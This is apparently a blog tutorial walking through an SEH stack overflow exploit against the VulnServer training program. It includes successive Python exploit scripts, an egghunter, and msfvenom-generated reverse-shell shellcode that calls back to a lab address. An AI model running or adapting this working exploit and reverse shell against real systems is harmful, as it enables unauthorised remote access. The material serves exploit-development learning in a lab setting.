Using the 'VulnServer' program we'll demonstrate a stack overflow that introudces Structured Exception Handling (SEH) event handling to gain a shell on a sample system.

In this instance I'll be targeting the GMON command input as it is known to be vulnerable to an overflow attack using SEH.


Word of Warning

The purpose of this blog is to provide an outlet to note down the methodologies and tricks I've learned along the way, and hopefully this will be beneficial to someone else. I do not claim to be an expert in this field and there are many other blog posts and articles that delve in to considerably better detail.

Information is free - take the good bits and leave the rest!


Overflow Fuzzing

I'll run the WoollyMammoth fuzz command against the VulnServer service and will immediately eventually identify a crash in the debugger between 3900 and 3950 bytes.

However, it is clear that EIP is not overwritten. If we view the SEH Chain (Alt + F2) we can see the address and value that was written when the exception occurred.

The offset for this was identified as being 3521 bytes into our input string.

If we use the Mona module findmsp (Find Metasploit Pattern) to identify our offset pattern (e.g. the same one used in the Metasploit pattern_create tool) in both memory and registers, we can see that NSEH (Next Exception Registration Record) is overwritten at 3517 bytes. We'll use the SEH record overwrite to control execution flow.

Controlling NSEH Execution Flow

I've created a small Python script to send the initial buffer (with offset up to 3517), followed by the four "B" characters (NSEH), and then by filling the rest of the buffer with "C" characters (SEH).

#!/usr/bin/env python
import socket

target  = "192.168.111.3"
port    = 9999

prefix  = "GMON ./"
buffer = "A" * 3517 + "B" * 4
buffer += "C" * (5000 - len(buffer))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target,port))
x = s.recv(1024)
s.send(prefix + buffer)
s.close()

Once the crash occurs the SEH Chain shows the 0x42424242 value as the address of the NSEH record with the 0x43434343 string within the SEH.

The next step in exploiting SEH is to identify a series of commands that can be used to adjust the ESP register twice and then return to this address. We can do this manually by right-clicking in the CPU window and then 'Search > Sequence of Commands' and entering the r32 value as a sort of wildcard.

Alternatively, you can just use Mona to search for !mona seh, which is nice and easy.

The goal here is to identify an instruction that does not use SafeSEH.

Testing Execution Flow

I've modified the Python script to include the SEH POP POP RET instruction address and also created a variable nseh that will be used to store the four "B" (0x42) characters.

#!/usr/bin/env python
import socket

target  = "192.168.111.3"
port    = 9999

nseh = "C" * 4
seh = "\xb4\x10\x50\x62"

prefix  = "GMON ./"
buffer = "A" * 3517 
buffer += nseh
buffer += seh
buffer += "D" * (5000 - len(buffer))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target,port))
x = s.recv(1024)
s.send(prefix + buffer)
s.close()

In the debugger a breakpoint has been manually set so that we can view the execution flow one step at a time.

Once the payload is sent, the process will crash in the debugger and by viewing the SEH chain we can see that the address has been set to the POP POP RET instruction address.

After setting a breakpoint to the POP POP RET address, sending the payload, and then stepping over the execution flow to bypass the exception (Shift + F9), the execution flow is taken to the start of the POP EBX sequence.

If we manually step through until the RET instruction we can see the ESP register increase by two as intended.

Stepping through once more then redirects the flow to the 4 bytes before our SEH instruction, where the 4 "B" (\x42) characters were sent in our initial buffer payload. This is essentially the space that is available for our shellcode. However, 4 bytes clearly isn't sufficient for a usable payload, and we would also need a minimum of 32 bytes for an egghunter.

Expanding Our Horizons

If we scroll up in the CPU window it is clear that there is a large amount of 'empty' buffer space that is currently filled with the "A" characters.

We can expand our available payload space and thus enter shellcode by creating a short JMP back in memory to reach an earlier address. I'll insert an egghunter here, which would then later look for the star of our exploit shellcode.

I'll refer back to my last post where I provided some cheatsheets for the forward and backward short JMP values. To move backwards for the 32 byte egghunter I'll need at least 34 bytes to ensure that I account for the size of the JMP instruction itself (the cheatsheet I provided should account for this by default - i.e. \xDE will JMP 32 bytes as there are 31 bytes in between).

The Python script now looks like the following with the JMP inserted into the payload. This of course replaces the 4 * "B" characters that we were sending as the nseh value, which informs the next instruction to execute after an SEH exception. To fill out the 4 bytes that we've replaced I have just inserted 2 NOP bytes.

#!/usr/bin/env python
import socket

target  = "192.168.111.3"
port    = 9999

nseh = "\xeb\xde\x90\x90"
seh = "\xb4\x10\x50\x62"

prefix  = "GMON ./"
buffer = "A" * 3517
buffer += nseh
buffer += seh
buffer += "D" * (5000 - len(buffer))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target,port))
x = s.recv(1024)
s.send(prefix + buffer)
s.close()

Following the execution flow through SEH we reach the short JMP instruction that we inserted.

Continuing through once more the instruction moves us back 32 bytes before the instruction.

I've modified the script again to demonstrate a placeholder for the egghunter. Note, that I have reduce the initial buffer of  "A" characters by the length of the egghunter, and then set the placeholder for this ("C" * 32) between the initial buffer and the short JMP instruction.

#!/usr/bin/env python
import socket

target  = "192.168.111.3"
port    = 9999

nseh = "\xeb\xde\x90\x90"
seh = "\xb4\x10\x50\x62"
egghunter = "C" * 32

prefix  = "GMON ./"
buffer = "A" * (3517 - len(egghunter))
buffer += egghunter
buffer += nseh
buffer += seh
buffer += "D" * (5000 - len(buffer))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target,port))
x = s.recv(1024)
s.send(prefix + buffer)
s.close()

Using the amended script we can see that the short JMP then takes execution flow to the start of the 0x43 placeholders.

Egghunting

The next step is to insert the 32 bytes of "C" characters placeholder with our egghunter. I'll generate one with Mona for now using !mona egg -t GLEE and will insert this into the script.

In the script below I've also created a variable for the egg itself, which as you can see will be GLEEGLEE (I've honestly struggled with thinking of four character words that aren't entirely in the hexadecimal range and aren't rude).

#!/usr/bin/env python
import socket

target  = "192.168.111.3"
port    = 9999

nseh = "\xeb\xde\x90\x90"
seh = "\xb4\x10\x50\x62"
egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x47\x4c\x45\x45\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
egg = "GLEEGLEE"

prefix  = "GMON ./"
buffer = "A" * (3517 - len(egghunter))
buffer += egghunter
buffer += nseh
buffer += seh
buffer += "D" * (5000 - len(buffer))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target,port))
x = s.recv(1024)
s.send(prefix + buffer)
s.close()

Inserting Shellcode

The final step is to build some shellcode and then insert this into our script. I haven't touched on bad characters yet (I will at some point), but for now the only bad characters we cannot use in any payload will be the \x00 null-byte character. This is usually universally true.

As we have a large buffer to play with I'm going to insert some NOPs (\x90) before our egghunter to ensure that the shellcode has enough space to decode itself. It is possible to set a payload that isn't encoded, but I won't be doing that here.

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.111.5 LPORT=4444 -f c -b '\x00'

#!/usr/bin/env python
import socket

target 	= "192.168.111.3"
port 	= 9999

nseh = "\xeb\xde\x90\x90"
seh = "\xb4\x10\x50\x62"
egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x47\x4c\x45\x45\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
egg = "GLEEGLEE"
shellcode = (
"\xbd\x4d\x9f\x76\x2c\xd9\xce\xd9\x74\x24\xf4\x5e\x33\xc9\xb1"
"\x52\x83\xc6\x04\x31\x6e\x0e\x03\x23\x91\x94\xd9\x47\x45\xda"
"\x22\xb7\x96\xbb\xab\x52\xa7\xfb\xc8\x17\x98\xcb\x9b\x75\x15"
"\xa7\xce\x6d\xae\xc5\xc6\x82\x07\x63\x31\xad\x98\xd8\x01\xac"
"\x1a\x23\x56\x0e\x22\xec\xab\x4f\x63\x11\x41\x1d\x3c\x5d\xf4"
"\xb1\x49\x2b\xc5\x3a\x01\xbd\x4d\xdf\xd2\xbc\x7c\x4e\x68\xe7"
"\x5e\x71\xbd\x93\xd6\x69\xa2\x9e\xa1\x02\x10\x54\x30\xc2\x68"
"\x95\x9f\x2b\x45\x64\xe1\x6c\x62\x97\x94\x84\x90\x2a\xaf\x53"
"\xea\xf0\x3a\x47\x4c\x72\x9c\xa3\x6c\x57\x7b\x20\x62\x1c\x0f"
"\x6e\x67\xa3\xdc\x05\x93\x28\xe3\xc9\x15\x6a\xc0\xcd\x7e\x28"
"\x69\x54\xdb\x9f\x96\x86\x84\x40\x33\xcd\x29\x94\x4e\x8c\x25"
"\x59\x63\x2e\xb6\xf5\xf4\x5d\x84\x5a\xaf\xc9\xa4\x13\x69\x0e"
"\xca\x09\xcd\x80\x35\xb2\x2e\x89\xf1\xe6\x7e\xa1\xd0\x86\x14"
"\x31\xdc\x52\xba\x61\x72\x0d\x7b\xd1\x32\xfd\x13\x3b\xbd\x22"
"\x03\x44\x17\x4b\xae\xbf\xf0\xb4\x87\xd0\x05\x5d\xda\x2e\x17"
"\xc1\x53\xc8\x7d\xe9\x35\x43\xea\x90\x1f\x1f\x8b\x5d\x8a\x5a"
"\x8b\xd6\x39\x9b\x42\x1f\x37\x8f\x33\xef\x02\xed\x92\xf0\xb8"
"\x99\x79\x62\x27\x59\xf7\x9f\xf0\x0e\x50\x51\x09\xda\x4c\xc8"
"\xa3\xf8\x8c\x8c\x8c\xb8\x4a\x6d\x12\x41\x1e\xc9\x30\x51\xe6"
"\xd2\x7c\x05\xb6\x84\x2a\xf3\x70\x7f\x9d\xad\x2a\x2c\x77\x39"
"\xaa\x1e\x48\x3f\xb3\x4a\x3e\xdf\x02\x23\x07\xe0\xab\xa3\x8f"
"\x99\xd1\x53\x6f\x70\x52\x63\x3a\xd8\xf3\xec\xe3\x89\x41\x71"
"\x14\x64\x85\x8c\x97\x8c\x76\x6b\x87\xe5\x73\x37\x0f\x16\x0e"
"\x28\xfa\x18\xbd\x49\x2f")
nops = "\x90" * 20

prefix 	= "GMON ./"
buffer = "A" * (3517 - len(egghunter) - len(shellcode) - len(nops) - len(egg))
buffer += egg
buffer += shellcode
buffer += nops
buffer += egghunter
buffer += nseh
buffer += seh
buffer += "D" * (5000 - len(buffer))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target,port))
x = s.recv(1024)
s.send(prefix + buffer)
s.close()

Continuing Execution

Upon following through from the POP POP RET instruction we can see that the egghunter has been successfully placed above our new short JMP instruction.

Stepping through once more takes us directly to the entry point of the egghunter, which will search memory for our egg string GLEEGLEE.

Setting a breakpoint at the egghunter JMP EDI instruction shows that it has identified our egg string in memory and that it is pointing to the 4 byte address directly after.

We can see this by following execution through once more, where we then reach our shellcode.

By letting execution continue we are presented with a shell to the target system.

Going Raw

If we run the 'vulnserver.exe' program outside of a debugger and run the exploit script against the service we instantly receive a shell without halting the execution flow.